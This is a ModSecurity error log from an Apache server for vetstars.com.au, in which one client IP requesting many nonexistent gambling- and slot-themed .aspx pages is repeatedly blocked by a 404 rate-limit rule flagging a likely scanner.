[Sat Feb 14 21:08:17.770011 2026] [:error] [pid 36056:tid 36068] [client 51.83.237.175:43092] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZBzwbv3wQbSPS1vpOggpQAAAAo"]
[Sat Feb 14 21:08:18.610447 2026] [:error] [pid 36056:tid 36071] [client 51.83.237.175:43108] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZBzwrv3wQbSPS1vpOggqQAAAA0"]
[Sat Feb 14 21:08:21.239990 2026] [:error] [pid 50339:tid 50374] [client 51.83.237.175:43134] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZBzxcI6TclQ9GOl2Y16wQAAAgQ"]
[Sat Feb 14 21:08:21.392182 2026] [:error] [pid 50339:tid 50391] [client 51.83.237.175:43122] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZBzxcI6TclQ9GOl2Y16wgAAAhU"]
[Sat Feb 14 21:08:23.311071 2026] [:error] [pid 26150:tid 26172] [client 51.83.237.175:43146] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aZBzx6qmPH3D5QJaUSHTMAAAAJI"]
[Sat Feb 14 21:08:23.949426 2026] [:error] [pid 39456:tid 39508] [client 51.83.237.175:43160] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZBzx4KeIqKLynHIGnjdRAAAAlY"]
[Sat Feb 14 21:08:26.136809 2026] [:error] [pid 53980:tid 54016] [client 51.83.237.175:43188] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZBzytposYBT7xU8oxTHuwAAAsY"]
[Sat Feb 14 21:08:26.937685 2026] [:error] [pid 53979:tid 54007] [client 51.83.237.175:43172] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZBzyofb_0QPnk6UIuNXeQAAAZg"]
[Sat Feb 14 21:08:27.815438 2026] [:error] [pid 50339:tid 50387] [client 51.83.237.175:43194] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZBzy8I6TclQ9GOl2Y16xwAAAhE"]
[Sat Feb 14 21:08:30.120731 2026] [:error] [pid 36219:tid 36252] [client 51.83.237.175:53354] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZBzzpe-m2OpEy0FNjhdTgAAA4Q"]
[Sat Feb 14 21:08:32.308520 2026] [:error] [pid 39454:tid 39476] [client 51.83.237.175:53370] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZBz0If01uYc0DFDtzvZDAAAAdE"]
[Sat Feb 14 21:08:32.973547 2026] [:error] [pid 26150:tid 26161] [client 51.83.237.175:53368] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZBz0KqmPH3D5QJaUSHTOAAAAIc"]
[Sat Feb 14 21:08:33.088295 2026] [:error] [pid 53981:tid 54044] [client 51.83.237.175:53386] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aZBz0dGxz-sjlGLnWnvSwAAAA0c"]
[Sat Feb 14 21:08:36.056428 2026] [:error] [pid 39456:tid 39493] [client 51.83.237.175:53390] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aZBz1IKeIqKLynHIGnjdUQAAAkc"]
[Sat Feb 14 21:08:36.823154 2026] [:error] [pid 39456:tid 39503] [client 51.83.237.175:53412] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aZBz1IKeIqKLynHIGnjdUgAAAlE"]
[Sat Feb 14 21:08:55.129943 2026] [:error] [pid 36056:tid 36059] [client 51.83.237.175:38324] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aZBz57v3wQbSPS1vpOggzAAAAAE"]
[Sat Feb 14 21:08:57.235641 2026] [:error] [pid 36056:tid 36082] [client 51.83.237.175:38308] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZBz6bv3wQbSPS1vpOggzQAAABg"]
[Sat Feb 14 21:08:58.747273 2026] [:error] [pid 39454:tid 39483] [client 51.83.237.175:41948] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZBz6of01uYc0DFDtzvZHwAAAdg"]
[Sat Feb 14 21:09:00.050412 2026] [:error] [pid 39456:tid 39500] [client 51.83.237.175:41954] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aZBz7IKeIqKLynHIGnjdZgAAAk4"]
[Sat Feb 14 21:09:00.269662 2026] [:error] [pid 53979:tid 53983] [client 51.83.237.175:41964] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZBz7Ifb_0QPnk6UIuNXiwAAAYA"]
[Sat Feb 14 21:09:01.728117 2026] [:error] [pid 39454:tid 39475] [client 51.83.237.175:41980] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZBz7Yf01uYc0DFDtzvZJgAAAdA"]
[Sat Feb 14 21:09:03.250290 2026] [:error] [pid 53920:tid 53964] [client 51.83.237.175:41988] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aZBz7yrmNDNQ_-GD91KDCgAAAU8"]
[Sat Feb 14 21:09:03.615146 2026] [:error] [pid 53981:tid 54043] [client 51.83.237.175:42002] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZBz79Gxz-sjlGLnWnvS1AAAA0Y"]
[Sat Feb 14 21:09:04.537438 2026] [:error] [pid 53920:tid 53967] [client 51.83.237.175:42004] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZBz8CrmNDNQ_-GD91KDEQAAAVI"]
[Sat Feb 14 21:09:06.834620 2026] [:error] [pid 36219:tid 36254] [client 51.83.237.175:42012] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aZBz8pe-m2OpEy0FNjhdbgAAA4Y"]
[Sat Feb 14 21:09:07.834593 2026] [:error] [pid 53980:tid 54029] [client 51.83.237.175:42018] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZBz89posYBT7xU8oxTHyQAAAtM"]
[Sat Feb 14 21:09:07.842719 2026] [:error] [pid 39454:tid 39462] [client 51.83.237.175:57584] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZBz84f01uYc0DFDtzvZJwAAAcM"]
[Sat Feb 14 21:09:09.771425 2026] [:error] [pid 39456:tid 39495] [client 51.83.237.175:57592] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aZBz9YKeIqKLynHIGnjdcAAAAkk"]
[Sat Feb 14 21:09:12.088721 2026] [:error] [pid 50339:tid 50383] [client 51.83.237.175:57600] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aZBz-MI6TclQ9GOl2Y169QAAAg0"]
[Sat Feb 14 21:09:12.573564 2026] [:error] [pid 39456:tid 39505] [client 51.83.237.175:57604] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZBz-IKeIqKLynHIGnjddgAAAlM"]
[Sat Feb 14 21:09:12.725655 2026] [:error] [pid 39456:tid 39503] [client 51.83.237.175:57602] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZBz-IKeIqKLynHIGnjddwAAAlE"]
[Sat Feb 14 21:09:15.464434 2026] [:error] [pid 53979:tid 54006] [client 51.83.237.175:57624] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aZBz-4fb_0QPnk6UIuNXjQAAAZc"]
[Sat Feb 14 21:09:15.605385 2026] [:error] [pid 39454:tid 39478] [client 51.83.237.175:57610] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aZBz-4f01uYc0DFDtzvZLwAAAdM"]
[Sat Feb 14 21:09:16.082569 2026] [:error] [pid 53979:tid 53999] [client 51.83.237.175:57628] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZBz_Ifb_0QPnk6UIuNXkAAAAZA"]
[Sat Feb 14 21:09:19.049148 2026] [:error] [pid 39456:tid 39489] [client 51.83.237.175:37404] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aZBz_4KeIqKLynHIGnjdfgAAAkM"]
[Sat Feb 14 21:09:19.487594 2026] [:error] [pid 39454:tid 39479] [client 51.83.237.175:37410] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZBz_4f01uYc0DFDtzvZMwAAAdQ"]
[Sat Feb 14 21:09:19.739895 2026] [:error] [pid 26150:tid 26155] [client 51.83.237.175:37408] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aZBz_6qmPH3D5QJaUSHTXwAAAIE"]
[Sat Feb 14 21:09:21.742208 2026] [:error] [pid 39454:tid 39470] [client 51.83.237.175:37426] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aZB0AYf01uYc0DFDtzvZOAAAAcs"]
[Sat Feb 14 21:09:22.842642 2026] [:error] [pid 53979:tid 53987] [client 51.83.237.175:37440] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZB0Aofb_0QPnk6UIuNXkgAAAYQ"]
[Sat Feb 14 21:09:24.945335 2026] [:error] [pid 50339:tid 50386] [client 51.83.237.175:37446] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZB0BMI6TclQ9GOl2Y16-wAAAhA"]
[Sat Feb 14 21:09:25.777095 2026] [:error] [pid 53981:tid 54055] [client 51.83.237.175:37474] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZB0BdGxz-sjlGLnWnvS4QAAA1I"]
[Sat Feb 14 21:09:25.995859 2026] [:error] [pid 53981:tid 54041] [client 51.83.237.175:37458] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZB0BdGxz-sjlGLnWnvS4wAAA0Q"]
[Sat Feb 14 21:09:28.629753 2026] [:error] [pid 36219:tid 36269] [client 51.83.237.175:47556] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZB0CJe-m2OpEy0FNjhdeQAAA5U"]
[Sat Feb 14 21:09:28.831770 2026] [:error] [pid 53920:tid 53960] [client 51.83.237.175:47566] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZB0CCrmNDNQ_-GD91KDJgAAAUs"]
[Sat Feb 14 21:09:31.528243 2026] [:error] [pid 39456:tid 39503] [client 51.83.237.175:47572] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZB0C4KeIqKLynHIGnjdiQAAAlE"]
[Sat Feb 14 21:09:31.813675 2026] [:error] [pid 53981:tid 54054] [client 51.83.237.175:47578] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aZB0C9Gxz-sjlGLnWnvS6QAAA1E"]
[Sat Feb 14 21:09:32.679915 2026] [:error] [pid 39454:tid 39481] [client 51.83.237.175:47588] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZB0DIf01uYc0DFDtzvZQgAAAdY"]
[Sat Feb 14 21:09:34.669771 2026] [:error] [pid 50339:tid 50392] [client 51.83.237.175:47604] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aZB0DsI6TclQ9GOl2Y17BQAAAhY"]
[Sat Feb 14 21:09:35.962265 2026] [:error] [pid 36056:tid 36063] [client 51.83.237.175:47618] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZB0D7v3wQbSPS1vpOgg5QAAAAU"]
[Sat Feb 14 21:09:36.003473 2026] [:error] [pid 26150:tid 26159] [client 51.83.237.175:47610] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZB0EKqmPH3D5QJaUSHTbQAAAIU"]
[Sat Feb 14 21:09:37.297758 2026] [:error] [pid 26150:tid 26172] [client 51.83.237.175:47624] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aZB0EaqmPH3D5QJaUSHTcQAAAJI"]
[Sat Feb 14 21:09:38.470602 2026] [:error] [pid 36056:tid 36059] [client 51.83.237.175:46644] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZB0Erv3wQbSPS1vpOgg6gAAAAE"]
[Sat Feb 14 21:09:39.878525 2026] [:error] [pid 53981:tid 54042] [client 51.83.237.175:46654] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZB0E9Gxz-sjlGLnWnvS8AAAA0U"]
[Sat Feb 14 21:09:41.347000 2026] [:error] [pid 50339:tid 50375] [client 51.83.237.175:46680] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZB0FcI6TclQ9GOl2Y17DAAAAgU"]
[Sat Feb 14 21:09:42.018778 2026] [:error] [pid 36056:tid 36068] [client 51.83.237.175:46670] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZB0Frv3wQbSPS1vpOgg8AAAAAo"]
